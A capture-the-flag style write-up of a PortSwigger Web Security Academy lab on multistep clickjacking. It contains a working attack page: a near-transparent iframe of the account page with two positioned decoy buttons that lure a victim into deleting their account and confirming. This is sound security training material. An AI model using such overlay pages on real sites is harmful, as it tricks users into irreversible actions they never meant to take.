Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type Clickjacking — Multistep
Difficulty Practitioner
Objective Trick the victim into clicking "Delete account" and then confirming the dialog — two separate clicks

Multistep Clickjacking — Writeup

Initial Observation

Logged in as wiener:peter. The account page has a delete account button:

Screenshot

Clicking it triggers a confirmation dialog:

Screenshot

The delete form has a CSRF token:

<form id="delete-account-form" action="/my-account/delete" method="POST">
    <input required="" type="hidden" name="csrf" value="Q3dloxnVaRCifIWv9MDfrd312SrmNtKl">
    <button class="button" type="submit">Delete account</button>
</form>

Two clicks required — one on "Delete account" and one on the confirmation. Two decoy elements, each aligned to their respective target.

Attack Path

Building the Multistep Clickjacking Page

Two div elements — teto positioned over the delete button, miku positioned over the confirmation dialog — both overlaid on the same iframe:

<style>
    iframe {
        width: 500px;
        height: 600px;
        opacity: 0.01;
    }

    .teto {
        position: absolute;
        top: 510px;
        left: 70px;
    }

    .miku {
        position: absolute;
        top: 310px;
        left: 200px;
    }
</style>

<div class="teto">Click me first</div>
<div class="miku">Click me next</div>

<iframe src="https://0a0d00e60377e114822fa641003b0073.web-security-academy.net/my-account"></iframe>
Screenshot
Screenshot

"Click me first" sits over the delete button, "Click me next" sits over the confirmation. Setting opacity: 0.01 to make the iframe invisible and delivering the exploit:

Screenshot

Victim clicks both decoys → account deleted → lab solved :P

Resources